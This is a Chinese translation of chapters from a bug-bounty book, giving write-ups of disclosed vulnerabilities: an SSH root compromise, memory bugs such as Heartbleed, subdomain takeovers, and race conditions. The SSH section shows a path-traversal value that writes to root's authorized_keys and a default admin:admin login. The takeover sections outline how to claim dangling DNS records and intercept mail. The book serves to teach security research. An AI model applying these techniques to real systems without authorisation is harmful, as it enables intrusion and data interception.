    {"text": "未知 12.6 SSH RCE漏洞 难度： 高 URL： 未公布 报告位置： blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/ 报告日期： 2017年秋 支付奖金： 未公布 当目标项目提供了很大的测试范围时，最好将资产的发现自动化，以便寻找站点可能存在的漏洞标识。这正是Jasmin Landry在2017年秋天所做的事情。他使用工具Sublist3r、Aquatone和Nmap在网站上枚举子域名和开放端口。在这一过程中他发现了数百个可能的域名，而且不可能一一访问所有的域名，因此他使用自动化工具EyeWitness对每个域名进行截图。这有助于可视化地识别有趣的网站。 EyeWitness披露了一个Landry觉得不熟悉的内容管理系统，看起来很旧，而且是开源的。Landry猜测这个软件的默认凭证是admin:admin。测试成功了，所以他继续挖掘。该站点没有任何内容，但是对开放源代码的审计显示该应用程序以root用户的身份在服务器上运行。这是一种糟糕的做法：root用户可以在站点上执行任何操作，如果应用程序被破坏，攻击者将拥有服务器上的全部权限。这是Landry继续挖掘的另一个原因。 接下来，Landry查找已公开的安全问题（CVE）。该网站没有任何功能，这对于老式的开源软件来说是不寻常的。Landry指出了一些不太严重的问题，包括XSS、CSRF、XXE和本地文件泄露（读取服务器上任意文件的能力）。所有这些缺陷意味着RCE可能存在于某个地方。 继续他的工作，Landry注意到一个API端点允许用户更新模板文件。路径为/api/i/services/site/write-configuration.json?path=/config/sites/test/page/test/config.xml。它通过POST请求body部分接受XML。写文件的能力和定义文件路径的能力是两个非常危险的标识。如果Landry可以在任何地方写文件，并让服务器将其解释为应用程序文件，那么他就可以在服务器上执行任何他想要的代码，并可能调用系统来执行代码。为了验证这一点，他修改路径为../../../../../../../../../../../../tmp/test.txt。这些符号../是当前路径中对前一个目录的引用。所以如果路径是/api/i/services，../将是/api/i，这使得Landry可以把文件写入任何他想要的文件夹。 虽然上传他自己的文件可以运行，但是应用程序配置不允许他执行代码，所以他需要寻找到有RCE的路径。他想到Secure Socket Shell（SSH）可以使用公共SSH密钥对用户进行身份验证。SSH访问是管理远程服务器的典型方法：它通过验证.ssh/authorized_keys目录中远程主机上的公钥，进而建立安全连接登录到命令行。如果他能够写入目录并上传他自己的SSH公钥，站点将认证他为root用户，具有SSH直接访问权，且拥有全部权限。 他测试了这个方法，且能够写./../../../../../../../../../../../root/.ssh/authorized_keys。尝试使用SSH进入服务器，运行id命令确认他是root用户：uid=0(root) gid=0(root) groups=0(root)。 要点 当你在大范围内搜索漏洞时，枚举子域是很重要的，因为它提供了更多的测试空间。Landry能够使用自动化工具发现可疑目标，并确认了一些最初的漏洞，表明可能还有更多漏洞有待发现。最值得注意的是，当他第一次尝试通过文件上传RCE失败后，Landry重新考虑了他的方法。他意识到他可以利用SSH配置，而不是仅仅利用任意文件的写入漏洞。提交一份全面的报告，能够充分展示影响力，通常会增加获得奖励的额度。所以，一旦发现了什么，不要立即停止——继续挖掘。 未知 12.7 总结 与本书中讨论的其他漏洞一样，在用户输入没有经过适当的安全控制的情况下容易发生RCE漏洞。在第一个漏洞报告中，ImageMagick在将内容传递给系统命令之前没有正确地对内容进行转义。为了找到这个漏洞，Sadeghipour首先在他自己的服务器上重新创建了这个漏洞，然后搜索没有打补丁的服务器。相比之下，Prins发现了他可以伪造cookie。最后，Landry找到了在服务器上写入任意文件的方法，并使用该方法覆盖SSH密钥，这样他就可以以root用户的身份登录。这三种方法都使用了不同的方式来获取RCE，但是都利用了站点的输入没有做安全控制的特点。"},
    {"text": "未知 第13章 内存漏洞 每个应用程序都依赖于计算机存储和执行应用程序代码的内存。内存漏洞利用应用程序的内存管理的漏洞。攻击可能会使得攻击者能够注入并执行他们自己的命令。 内存漏洞出现在开发人员负责应用程序内存管理的编程语言中，比如C和C++。自动管理内存分配的其他语言，如Ruby、Python、PHP和Java，则不太容易出现内存漏洞。 在C或C++中执行任何含有未知数据大小的操作之前，开发人员必须确保为操作分配了适当的内存。例如，假设你正在编写允许用户导入事务的银行应用程序。当应用程序运行时，你不知道用户将导入多少事务。有些人可以导入1个，有些人可能导入1000个。在没有内存管理的语言中，你必须检查导入的事务的数量，然后为它们分配适当的内存。当开发人员不考虑应用程序需要多少内存时，就会出现缓冲区溢出等错误。 发现和利用内存漏洞是复杂的，关于这个主题已经写了很多书。基于这个原因，本章只介绍了众多内存漏洞中的两个：缓冲区溢出和读出边界漏洞。如果你有兴趣了解更多，我建议你读一读Jon Erickson的Hacking: The Art of Exploitation或者Tobias Klein的A Bug Hunter’s Diary: A Guided Tour Through the Wilds of Software Security。 未知 13.1 缓冲区溢出 缓冲区溢出漏洞是指应用程序写入的数据比为该数据分配的内存（缓冲区）大。缓冲区溢出会导致不可预测的程序行为，在最坏的情况下会导致严重的漏洞。当攻击者可以控制溢出来执行他们自己的代码时，可能会危及应用程序，甚至危及服务器（取决于用户权限）。这种类型的漏洞类似于第12章中的RCE示例。 缓冲区溢出通常在开发人员忘记检查写入变量的数据的大小时发生。当开发人员算错数据需要多少内存时，也会发生这种情况。因为这些错误可能以多种方式发生，所以我们只检查一种类型——长度检查遗漏（length check omission）。在C编程语言中，省略长度检查通常涉及修改内存的函数，如strcpy()和memcpy()。但是，当开发人员使用malloc()或calloc()等内存分配函数时，也可以进行这些检查。函数strcpy()（和memcpy()）接受两个参数：要复制数据的缓冲区和要复制的数据。下面是一个C语言的例子： 在本例中，字符串src❶被设置为字符串\"hello world\"，包括空格在内，长度为11个字符。这段代码为src和dest❷分配了16个字节（每个字符是1字节）。因为每个字符需要1字节的内存，且字符串必须以空字节（\\0）结束，所以\"hello world\"字符串总共需要12个字节，适合分配16个字节。strcpy()函数接受src中的字符串并将其复制到dest❸中。❹处的printf语句打印如下： 这段代码按照预期工作，但是如果有人想添加感叹号用于强调问候呢？考虑一下这个例子： 在这里添加了五个感叹号，使字符串的字符总数达到16。开发人员知道在C语言中所有的字符串都必须以空字节（\\0）结尾，他们给src❶分配了17个字节，但忘记给dest❷分配相同的字节。编译并运行程序后，开发人员会看到如下输出： src变量是空的，尽管它被分配了'hello world!!!!!'。这归咎于C语言分配堆栈内存的方式。堆栈内存地址是递增分配的，因此在程序中较早定义的变量的内存地址比在程序后定义的变量的内存地址要低。在这种情况下，src被添加到内存堆栈中，dest紧随其后。当溢出发生时，表示'hello world!!!!!'的17个字符被写入dest变量，但字符串的空字节（\\0）溢出到src变量的第一个字符中。因为空字节表示字符串的结束，所以src看起来是空的。 图13-1说明了代码从❶执行到❸堆栈的内容。 在图13-1中，src被添加到堆栈中，17个字节被分配给变量，在图中从0❶开始标记。接下来，dest被添加到堆栈中，但只分配16个字节❷。当src被复制到dest时，存储在dest中的最后一个字节溢出到src的第一个字节（0字节），这使得src的第一个字节变成了空字节。 如果你向src添加另一个感叹号，并将长度更新为18，输出结果将如下所示： 图13-1 内存如何从dest溢出到src dest变量将只保存'hello world!!!!!'，并且最后的感叹号和空字节将溢出到src中。这将使src看起来好像只有字符串'!'。图13-1❸中显示的内存将变为图13-2所示效果。 图13-2 两个字符从dest溢出到src 但是，如果开发人员忘了空字节，而使用了字符串的确切长度，如下所示，会发生什么？ 开发人员计算不含空字节的字符串中的字符数，并在❶和❷处为src和dest字符串分配12个字节。程序的其余部分将src字符串复制到dest并打印结果，与前面的程序一样。假设开发人员在他们的64位处理器上运行这段代码。 因为在前面的示例中，空字节从dest溢出，你可能以为src将成为一个空字符串。但是程序的输出如下： 在现代64位处理器上，这段代码不会导致意外行为，例如缓冲区溢出。基于内存对齐设计（这超出了本书的范围），64位机器上的最小内存分配是16字节。在32位系统上，它是8字节。因为hello world!只需要13个字节，包括空字节，它不会超出分配给dest变量的最小16个字节。"},
    {"text": "未知 13.2 越界读取 不同于缓冲区溢出，越界读取漏洞允许攻击者读取内存边界之外的数据。当应用程序为给定的变量或操作读取了数据之外的内存时，就会出现此漏洞。越界读取有可能泄露敏感信息。 一个著名的越界读取漏洞是OpenSSL Heartbleed，它是在2014年4月被披露的。OpenSSL是一个软件库，它允许应用服务器安全地通过网络进行通信，而不用担心被窃听。通过OpenSSL，应用程序可以识别通信另一端的服务器。Heartbleed允许攻击者在通信期间通过OpenSSL的服务器识别过程读取任意数据，比如服务器私钥、会话数据、密码等。 该漏洞利用了OpenSSL的Heartbeat请求功能，该功能向服务器发送消息。然后，服务器将相同的消息返回给请求者，以验证两个服务器是否在通信。Heartbeat请求可能包含长度参数，这是导致漏洞的因素。OpenSSL的老版本根据随请求发送的长度参数（而不是要回显的消息的实际大小）为服务器的返回消息分配内存。 因此，攻击者可以通过发送带有参数长度值很大的Heartbeat请求来完成Heartbleed攻击。假设消息长度是100字节，攻击者发送了1000字节作为消息的长度。攻击者将消息发送到含有此漏洞的服务器，将会读取预期消息的100字节和额外的900字节任意内存。数据中包含的信息取决于请求处理时服务器的运行进程和内存布局。 未知 13.3 PHP ftp_genlist()整数溢出漏洞 难度： 高 URL： 未公布 报告位置： https://bugs.php.net/bug.php?id=69545/ 报告日期： 2015年4月28日 支付奖金： 500美元 为开发人员管理内存的语言也不能幸免于内存漏洞。虽然PHP自动管理内存，但该语言是用C语言编写的，而C语言需要内存管理。因此，内置的PHP函数很容易受到内存漏洞的攻击。比如Max Spelsberg在PHP的FTP扩展中发现缓冲区溢出的情况。 PHP的FTP扩展读取传入的数据，比如文件，通过ftp_genlist()函数跟踪接收到的行数和大小。变量size和lines被初始化为无符号整数。在32位计算机上，无符号整数的最大内存分配为232字节（4294967295字节或4GB）。因此，如果攻击者发送的数据超过232字节，缓冲区就会溢出。 为了证明此漏洞，Spelsberg提供了启动FTP服务器PHP脚本和连接它的用Python语言编写的客户端。建立连接后，他的Python客户端通过套接字连接向FTP服务器发送232+1字节。PHP FTP服务器崩溃是因为Spelsberg覆盖了内存，类似于前面讨论的缓冲区溢出示例中发生的情况。 要点 缓冲区溢出是一种众所周知且有良好文档记录的漏洞类型，但是你仍然可以在管理自己内存的应用程序中发现它们。即使你正在测试的应用程序不是用C或C++编写的。如果应用程序是用另一种容易出现内存管理漏洞的语言编写的，那么你仍然可能发现缓冲区溢出。在这些情况下，查找使用了省略可变长度检查函数的位置。 未知 13.4 Python Hotshot模块 难度： 高 URL： 未公布 报告位置： http://bugs.python.org/issue24481 报告日期： 2015年6月20日 支付奖金： 500美元 与PHP一样，Python编程语言是用C语言编写的。实际上，有时它被称为CPython（用其他语言编写的Python版本，包括Jython、PyPy等）。Python hotshot模块是现有Python profile模块的替代品。hotshot模块描述程序的各个部分执行的频率和时间。Hotshot是用C语言编写的，因此它对性能的影响比现有的profile模块小。但在2015年6月，John Leitch发现代码中存在缓冲区溢出，使得攻击者可以将字符串从一个内存位置复制到另一个内存位置。 该易受攻击的代码调用方法memcpy()。它将指定字节数的内存从一个位置复制到另一个位置。例如，易受攻击的代码看起来可能如下所示： memcpy()方法接受三个参数：目标、源和要复制的字节数。在本例中，这些值分别是变量self->buffer+self->index（缓冲区和索引长度的和）、s和len。 self->buffer目标变量具有固定的长度，但是源变量s可以是任意长度。这意味着在执行复制函数时，memcpy()不会验证要写入的缓冲区的大小。攻击者可以向函数传递一个长度超过分配给复制的字节数的字符串。该字符串将被写入目标并发生溢出，因此它将继续写入目标缓冲区以外的其他内存。 要点 确定缓冲区溢出的一种方法是查找函数strcpy()和memcpy()。如果要查找这些函数，请验证它们是否有适当的缓冲区长度检查。你需要从找到的代码向前倒推，以确保目标不会溢出分配的内存。"},
    {"text": "未知 13.5 Libcurl越界读取 难度： 高 URL： 未公布 报告位置： http://curl.haxx.se/docs/adv_20141105.html 报告日期： 2014年11月5日 支付奖金： 1000美元 Libcurl是一个免费的客户端URL传输库，cURL命令行工具使用它来传输数据。Symeon Paraschoudis发现了Libcurl的curl_easy_duphandle函数中的一个漏洞，该漏洞可能被用于泄露敏感数据。 在使用Libcurl执行传输时，可以使用CURLOPT_POSTFIELDS标志通过POST请求传递要发送的数据。但是，执行此操作并不能保证在操作期间保留数据。为了确保数据在与POST请求一起发送时没有发生变更，另一个标志CURLOPT_COPYPOSTFIELDS将复制数据的内容并与POST请求一起发送副本。内存区域的大小是通过另一个名为CURLOPT_POSTFIELDSIZE的变量设置的。 为了复制数据，cURL需要分配内存。但是复制数据的内部Libcurl函数有两个问题：首先，不正确地复制POST数据会导致Libcurl将POST数据缓冲区视为C字符串。Libcurl将假定POST数据以空字节结束。当数据没有返回时，Libcurl将继续读取分配内存以外的字符串，直到找到一个空字节为止。这可能导致Libcurl复制太小（如果POST主体中间包含了空字节）或太大的字符串，或是可能导致应用程序崩溃。其次，在复制数据之后，Libcurl没有更新“应该从何处读取数据”。这是一个问题——在Libcurl复制数据和从数据中读取数据之间，内存可能已经被清除或被用于其他目的而重用。如果这两个事件中有任意一个发生，那么该位置可能包含了不应该发送的数据。 要点 cURL工具是一个非常流行且稳定的用于在网络上传输数据的库。尽管它很受欢迎，但仍然有漏洞。复制内存所涉及的任何函数都是查找内存漏洞的好地方。与其他内存示例一样，越界读取漏洞很难发现。但是如果你一开始便搜索容易受到攻击的函数，你就更有可能发现漏洞。 未知 13.6 总结 内存漏洞允许攻击者读取泄露的数据或运行他们自己的代码，但是这些漏洞很难被发现。现代编程语言不太容易受到内存漏洞的影响，因为它们自己处理内存分配。但是，用需要开发人员分配内存的语言编写的应用程序仍然容易出现内存漏洞。要发现内存漏洞，你需要了解内存管理，这可能很复杂，甚至可能依赖于硬件。如果你想搜索这些类型的攻击，我建议你进一步阅读其他与该主题相关的书籍。 未知 第14章 子域接管 当恶意攻击者能够从合法网站申领子域时，就会发生子域接管漏洞。一旦攻击者控制了子域，他们就可以控制内容或拦截流量。 未知 14.1 理解域名 为了理解子域接管漏洞的工作原理，我们需要先看一下域名是如何注册和使用的。域名是访问网站的URL，它们通过域名服务系统（DNS）映射为IP地址。域名采用分层结构，每一部分通过一个句点（.）进行分隔。域名的最后一部分，即最右侧的部分是一个顶级域（top-level domain）。顶级域的例子包括.com、.ca、.info等。在域名体系中，顶级域之下就是个人和公司注册的域名。该部分域名就是可以访问网站的域名。例如，<example>.com就是一个注册在.com顶级域之下的域。在域名体系结构中再下一级就是本章讨论的重点：子域。 子域是URL最左边的部分，可以在同一个注册域下开办不同的网站。例如，如果样例公司（Example Company，拥有<example>.com域名的公司）具有一个面向客户服务的网站和一个单独的邮件网站，那么它可以有两个单独的子域：www.<example>.com和webmail.<example>.com。每个子域名只为它自己的网站提供服务。 网站拥有者可以通过几种方法创建子域，但是最常见的两种方法是在网站的DNS记录中增加一条A记录或者一条CNAME记录。A记录将网站名映射为一个或多个IP地址。CNAME记录是将网站名映射为另一个网站名的唯一一条记录。除非你发现了一个漏洞，否则只有网站管理员才可以为网站创建DNS记录。"},
    {"text": "未知 14.2 子域接管工作原理 当用户能够控制A记录或CNAME记录指向的IP地址或URL时，就可以进行子域接管。该漏洞的一个常用例子就是在Heroku网站托管平台所发现的漏洞。这是一个假想的会出现漏洞的例子： 1）样例公司在Heroku平台注册了一个账号，并且没有使用SSL。 2）Heroku为样例公司的新应用分配了子域名：unicorn457.herokuapp.com。 3）样例公司通过它的DNS服务提供商创建了一条CNAME记录，将子域test.<example>.com指向unicorn457.herokuapp.com。 4）几个月后，样例公司决定删除它的test.<example>.com子域。它关闭了Heroku账号并且在服务器上删除了网站内容，但是它没有删除CNAME记录。 5）一个恶意用户注意到该CNAME记录指向的是Heroku上没有注册的URL，并申请了域unicorn457.heroku.com。 6）攻击者现在可以在test.<example>.com上进行任何内容处理，这看起来是一个合法的样例公司的网站，因为URL并没有变化。 正如你所见，该漏洞通常发生在网站没有删除指向外部可由攻击者申领的网站的CNAME记录（或A记录）时。可能存在子域接管的常见外部服务包括Zendesk、Heroku、GitHub、Amazon S3和SendGrid等。 子域接管造成的影响取决于子域及其父域的配置情况。例如，在“网站破解专业提示#8”（Web Hacking Pro Tips #8，https://www.youtube.com/watch?v=76TIDwaxtyk）中，Arne Swinnen讲述了如何仔细检查cookie以确保浏览器只向合适的域发送存储在本地的cookie。但是当cookie进行检查时，只检查子域的句点，例如.<example>.com，这样浏览器就会把cookie发送给所有的子域。当某个网站具有该种设置时，浏览器就会发送域<example>.com的cookie到用户访问的任何样例公司的子域中。如果攻击者控制了test.<example>.com，他们就会从访问过恶意子域test.<example>.com的目标对象窃取到域<example>.com的cookie。 相反，如果对cookie的检查不是采用上述方式，那么攻击者仍然可以在子域上创建模拟父域的网站。如果攻击者在子域上创建的网站包括一个登录页面，那么他们就有可能诱使用户提交他们的身份认证信息。以上两种常见的攻击都是通过子域接管实现的。但在后面的示例中，我们也研究其他形式的攻击，例如邮件截取。 挖掘子域接管漏洞包括查询网站的DNS记录。一个很好的方法是使用KnockPy工具，它枚举子域并从类似亚马逊S3的服务中寻找常见的子域接管相关的出错消息。KnockPy提供了一个通用的子域测试列表，但是你也可以提供你自己的子域列表。GitHub资源库SecLists（https://github.com/danielmiessler/SecLists/）也在其安全相关列表中列出了常见的子域。 未知 14.3 Ubiquiti的子域接管 难度： 低 URL： http://assets.goubiquiti.com/ 报告位置： https://hackerone.com/reports/109699/ 报告日期： 2016年1月10日 支付奖金： 500美元 亚马逊便捷存储系统，即S3，是亚马逊网站服务（AWS）提供的一个文件托管服务。S3上的账号是一个桶（bucket），你可以通过特定的以该桶名为开头的AWS URL访问该桶。亚马逊针对每个桶的URL采用全局命名空间，即一旦某人注册了一个桶，别人就不能再注册。例如，如果我注册了桶<example>，该桶就会有一个URL：<example>.s3.amazonaws.com，并且我就拥有了这个桶。亚马逊也允许用户注册他们想要的任何名字的桶，只要这个名字没有被注册，这意味着攻击者可以注册任何没有被注册的S3桶。 在该报告中，Ubiquiti（一家美国的网络技术公司）为assets.goubiquiti.com创建了一个CNAME记录并指向S3桶uwn-images。该桶通过URL uwn-images.s3.website.us-west-1.amazonaws.com进行访问。因为亚马逊的服务器遍布世界，因此URL中包含桶所在的亚马逊地理位置信息。在本例中，us-west-1是指北加利福尼亚。 但是Ubiquiti或者没有注册该桶，或者是在将该桶从其AWS账号移除后没有删除CNAME记录。因此，当访问assets.goubiquiti.com时，还会尝试从S3上提供内容。结果是，一个黑客申领了S3桶并向Ubiquiti报告了该漏洞。 要点 要关注指向类似S3的第三方服务的DNS记录条目。当你发现了这样的记录后，确认一下公司是否正确地配置了该服务。除了在网站的DNS记录上进行初始检查之外，你还可以持续地使用类似KnockPy的自动化工具来检查DNS的记录条目和相关服务。在公司删除了一个子域但是忘记了更新DNS记录时，最好这样做。"},
    {"text": "未知 14.4 Scan.me指向Zendesk 难度： 低 URL： http://support.scan.me/ 报告位置： https://hackerone.com/reports/114134/ 报告日期： 2016年2月2日 支付奖金： 1000美元 Zendesk平台在网站的子域上提供客户支撑服务。例如，如果样例公司使用了Zendesk，那么与它相关的子域将为support.<example>.com。 类似于前面Ubiquiti的例子，网站scan.me的拥有者创建了一个将support.scan.me指向scan.zendesk.com的CNAME记录。在临近公司收购时，support.scan.me释放了在Zendesk上的子域，但是忘了删除CNAME记录。黑客harry_mg发现了该子域，并申领了scan.zendesk.com，从而可以在Zendesk上以该子域名义（support.scan.me）提供自己的网站内容。 要点 关注会改变公司提供服务的方式的公司收购事项。由于优化会经常发生在参与收购的母公司和子公司之间，有些子域可能会被删除。如果公司没有更新DNS记录条目，这些改变可能会导致子域接管漏洞发生。再次提醒，因为子域可能随时改变，最好是在公司宣布收购声明后持续定期检查这些DNS记录。 未知 14.5 Shopify Windsor子域接管 难度： 低 URL： http://windsor.shopify.com/ 报告位置： https://hackerone.com/reports/150374/ 报告日期： 2016年7月10日 支付奖金： 500美元 并不是所有的子域接管都需要在第三方服务器上注册一个账号。在2016年7月，黑客zseano发现Shopify创建了一个指向aislingofwindsor.com的CNAME记录windsor.shopify.com。他发现这一点是通过在网站crt.sh上搜索所有Shopify子域来实现的，crt.sh是一个追踪查询某个网站注册的所有SSL证书以及相关联的所有子域的网站。这些信息可用是因为所有的SSL证书都必须在一个证书权威机构下进行注册，并在用户访问这些证书对应的网站时由浏览器来验证证书身份的正确性。网站crt.sh定期追踪查询这些注册信息并在网站上向访问者提供这些信息。网站也可以注册通配符证书，这保证了可以对网站下的所有子域提供SSL保护。在crt.sh网站上，这通过在子域名的位置用一个星号（*）来表示。 当网站注册了一个通配符证书后，crt.sh并不能识别出使用证书的是哪个子域，但是每个子域使用的证书都包含唯一的散列值。另一个网站，censys.io，通过扫描互联网追踪查询证书散列值以及哪些使用它们的子域。在censys.io中搜索一个通配符证书散列值可以使你发现新的子域。 通过在crt.sh上浏览子域列表并访问每个子域，zseano注意到访问windsor.shopify.com时返回的是一个404页面未找到的错误提示信息。这意味着Shopify没有在该子域上提供服务内容，或者它已经不再拥有aislingofwindsor.com。为测试后一种情况，zseano访问了一个域名注册网站，并查找aislingofwindsor.com，发现他能够以10美元来购买该域名。他确实这么做了，并向Shopify报告了该子域接管漏洞。 要点 并不是所有的子域都使用第三方服务。如果你发现一个子域指向另一个域名，并且访问时会返回404页面，那么检查一下你是否可以注册该域名。网站crt.sh提供了关于网站注册的SSL证书的大量参考，可以作为识别网站使用的子域的起点。如果在crt.sh上查询到的注册证书是通配符证书，可以在网站censys.io上查询这些证书的散列值。 未知 14.6 Snapchat Fastly接管 难度： 中 URL： http://fastly.sc-cdn.net/takeover.html 报告位置： https://hackerone.com/reports/154425/ 报告日期： 2016年7月27日 支付奖金： 3000美元 Fastly是一种内容分发网络（CDN）。CDN在世界范围内存储服务器内容的副本，因此服务器内容可以在用户请求时更快、更近地提供给用户。 在2016年7月27日，黑客Ebrietas向Snapchat报告，在Snapchat的域sc-cdn.net上存在一个DNS错误配置。URL http://fastly.sc-cdn.net有一个指向Fastly的一个子域的CNAME记录，而该子域并没有被Snapchat正常申领。当时，如果用户采用传输层安全协议（TLS）加密他们的流量并且使用Fastly共享的通配符证书，Fastly允许用户注册自定义的子域。错误配置自定义子域会导致出现一个在该域上的错误提醒消息：“Fastly错误：未知域名<misconfigured domain>。请检查该域名是否已经添加上了一个服务。” 在报告该漏洞之前，Ebrietas在censys.io上查询了域sc-cdn.net，并通过该域的SSL证书中的注册信息确认了Snapchat对该域的所有权。这一点很重要，因为域sc-cdn.net并不像snapchat.com那样明显地包含关于Snapchat的标识信息。他也配置了一台服务器以接收来自URL的流量，从而确认了该域真正在使用。 当解决该报告中提到的问题时，Snapchat确认了它的很小的一部分用户使用了老版本的应用程序（app），可以向该子域发送对未认证内容的请求。用户端的配置后来进行了更新，并指向了一个新的URL。理论上，攻击者可以通过该子域在那段有限的时间内向用户提供恶意的文件。 要点 关注指向返回错误消息的服务的网站。当你发现一个错误时，通过阅读手册确认这些服务是怎样使用的。然后检查你是否能发现允许你接管该子域的错误配置。另外，总是要多走几步看看你发现的是否真是漏洞。在该例中，Ebrietas在报告前查找了SSL证书信息并确认了Snapchat拥有该域。然后他又配置了自己的服务器来接收请求信息，确认了Snapchat正在使用该域。"},
    {"text": "未知 14.7 Legal Robot接管 难度： 中 URL： https://api.legalrobot.com/ 报告位置： https://hackerone.com/reports/148770/ 报告时间： 2016年7月1日 支付奖金： 100美元 尽管网站已经在第三方服务器上正确配置了它们的子域，但是这些第三方服务器也可能由于错误配置而存在漏洞。这就是Frans Rosen在2016年7月1日发现的，当时他还向Legal Robot提交了一份报告。他注意到该公司有一个将api.legalrobot.com指向Modulus.io的DNS CNAME记录条目，而他能够接管该子域。 正如你现在可能认识到的那样，在找到一个错误页面后，黑客下一步就是去访问该服务并申领该域。但是在尝试申领api.legalrobot.com时，却发生了错误，因为Legal Robot已经申领了该子域。 Rosen没有放弃，而是试着申领Legal Robot的通配符子域，*.legalrobot.com，这次他成功了。Modulus的配置允许通配符子域覆盖特定子域，包括本例中的api.legalrobot.com。在申领了通配符域后，Rosen能够在api.legalrobot.com上托管他自己的内容，如图14-1所示。 图14-1 Frans Rosen宣称的能够接管子域的漏洞验证程序HTML页面源码 注意Rosen在图14-1中所托管的内容。他没有发布声明该子域已经被接管了的尴尬页面，而是使用了一个带有HTML注释的非入侵性文本页面来证明他可以控制网站的内容。 要点 当网站依赖第三方服务去托管一个子域时，它们也同时依赖了第三方服务的安全性措施。在本例中，Legal Robot认为它已经正确申领了它在Modulus上的子域，然而事实是该Modulus服务有一个允许通配符子域覆盖所有其他子域的漏洞。也要注意如果你能够申领一个子域，最好使用一种无害的漏洞验证程序来证明漏洞，以免你报告给该公司时让其感到尴尬。 未知 14.8 Uber SendGrid Mail接管 难度： 中 URL： https://em.uber.com/ 报告位置： https://hackerone.com/reports/156536/ 报告日期： 2016年8月4日 支付奖金： 10000美元 SendGrid是一个基于云的邮件服务。在写本书的时候，Uber是它的一个客户。当黑客Rojan Rijal查看Uber的DNS记录时，他发现有一条从em.uber.com指向SendGrid的CNAME记录。 因为Uber有一个SendGrid CNAME记录，Rijal决定查看一下该服务进而确认Uber是怎样配置的。他所做的第一步是确认一下SendGrid提供的服务是否可用以及是否允许内容托管。事实证明这些服务不允许内容托管。在深入阅读SendGrid的手册时，Rijal看到了一个叫作白色标签（white labeling）的不同服务选项。白色标签的功能是让互联网服务提供商确信SendGrid已经获得代表某个域发送邮件的许可。这种许可是通过为该网站创建一条指向SendGrid的邮件交换（MX）记录来实现的。MX记录是一类DNS记录，用于指定代表某个域负责邮件收发的邮件服务器。接收邮件的服务器和服务通过查询DNS上这类记录对应的邮件服务器来验证邮件的真实性并可以抵御垃圾邮件。 白色标签功能吸引了Rijal的注意，因为它包含了信任一个第三方服务提供商来管理Uber的一个子域。当Rijal查找em.uber.com的DNS记录条目时，他发现已经有了一条MX记录并指向了mx.sendgrid.net。因为只有网站拥有者能够创建DNS记录（假定没有其他可以利用的漏洞），所以Rijal不能直接修改Uber的MX记录以接管子域。又一次，他转向了SendGrid的手册，并发现了另外一个叫作入站分析网站钩子（Inbound Parse Webhook）的服务。该服务允许客户解析收件箱中的邮件正文内容和附件，并将附件发送到一个指定的URL。为了使用该功能，网站需要： 1）创建一个域/主机名或子域的MX记录，并指向mx.sendgrid.net。 2）在入站分析网站钩子服务的解析API设置页面中将域名/主机名与一个URL关联起来。 很好。Rijal已经确认了该MX记录是存在的，但是Uber还没有设置第二个步骤。Uber没有将em.uber.com子域作为一个入站分析网站钩子服务进行申领。Rijal申领了该域名作为自己的域名，并设置了一台自己的服务器用于接收SendGrid解析API发送过来的数据。在确认了他可以接收到邮件后，他停止了继续截获这些邮件并向Uber和SendGrid报告了这一情况。作为补丁的一部分，SendGrid声明它已经增加了一个额外的安全检查，要求用户在允许开通入站解析网站钩子服务前验证他们的域。当然，该安全检查也能够保护采用类似漏洞利用的其他网站。 要点 该报告显示了第三方手册是多么有价值。通过阅读这些开发手册，学习SendGrid都提供哪些服务，识别出这些服务都是怎样配置的，Rijal发现了一个影响Uber的第三方服务漏洞。当目标网站使用第三方服务时，检查第三方服务所提供的所有功能无疑是重要的。EdOverflow维护了一个存在漏洞的服务列表，详见https://github.com/EdOverflow/can-i-take-over-xyz/。但是尽管他的列表中标识了某个服务已经采取了防护措施，一定要再次进行安全检测，或者像Rijal一样寻找其他的测试方法。"},
    {"text": "未知 14.9 总结 当一个网站具有指向第三方服务的未申领DNS记录条目时，子域接管漏洞很容易发生。本章中的例子包括Heroku、Fastly、S3、Zendesk、SendGrid以及未注册的域名，其实其他的服务也可能有这类漏洞。你可以通过使用例如KnockPy、crt.sh、censys.io等工具以及附录A中的其他工具来发现这些漏洞。 掌握接管有时需要额外的智慧，就像Rosen申领一个通配符域和Rijal注册一个自定义的网站钩子一样。当你发现了一个潜在漏洞，但是基本的利用方法不能生效时，一定要去阅读服务手册。另外，要检查提供的所有功能而不要管目标网站是否使用了这些功能。当你确实发现了一个子域接管漏洞，一定要提供漏洞证明，但是要以一种恭敬而不唐突的方式提供。 未知 第15章 竞争条件 当两个进程基于同一个初始条件，但在执行的过程中发生不合法的情况时，将会产生竞争条件。我们举一个银行转账的经典案例： 1）你在银行存有500美元，需要你把它们全部转给一个朋友。 2）你会用手机登录银行App，请求一笔500美元的转账。 3）10秒后，请求依然在运行，却没有成功。因此你用笔记本电脑登录银行账号，查看你的账户资金是否仍然是500美元，于是你又申请了转账。 4）手机转账和笔记本电脑转账在一段时间间隔内完成，相差只有几秒钟。 5）你的账户余额是0美元。 6）你朋友告诉你他收到了1000美元。 7）你刷新账户，发现还是0美元。 尽管这不是现实中的竞争条件案例，因为没有银行会让自己的钱不翼而飞，但是这个过程却能够反映竞争条件的基本概念。运行步骤2和步骤3的前提是你的账户有足够的余额。但是你的账户余额只是在转账操作发起之时才校验。当转账执行时，初始状态不再有效，但两个进程仍然可以正常完成。 HTTP请求在互联网速度很快时可以被认为是实时的，但是处理请求是耗费时间的。当你登录到一个网站，每个HTTP请求必须由访问的网站重新认证；而且该网站还要加载你发起请求所必需的数据。这时，HTTP请求就需要同时完成两个任务，竞争条件也就有可能发生。下面是几个关于Web应用竞争条件脆弱性的例子。 未知 15.1 多次接受同一个HackerOne邀请 难度： 低 URL： hackerone.com/invitations/<INVITE_TOKEN>/ 报告位置： https://hackerone.com/reports/119354/ 报告日期： 2016年2月28日 支付奖金： 未公布 当你进行黑客测试行为时，考虑你的哪些行为依赖于某个条件，然后进行数据库查找，实现一个业务逻辑，最后更新数据库。 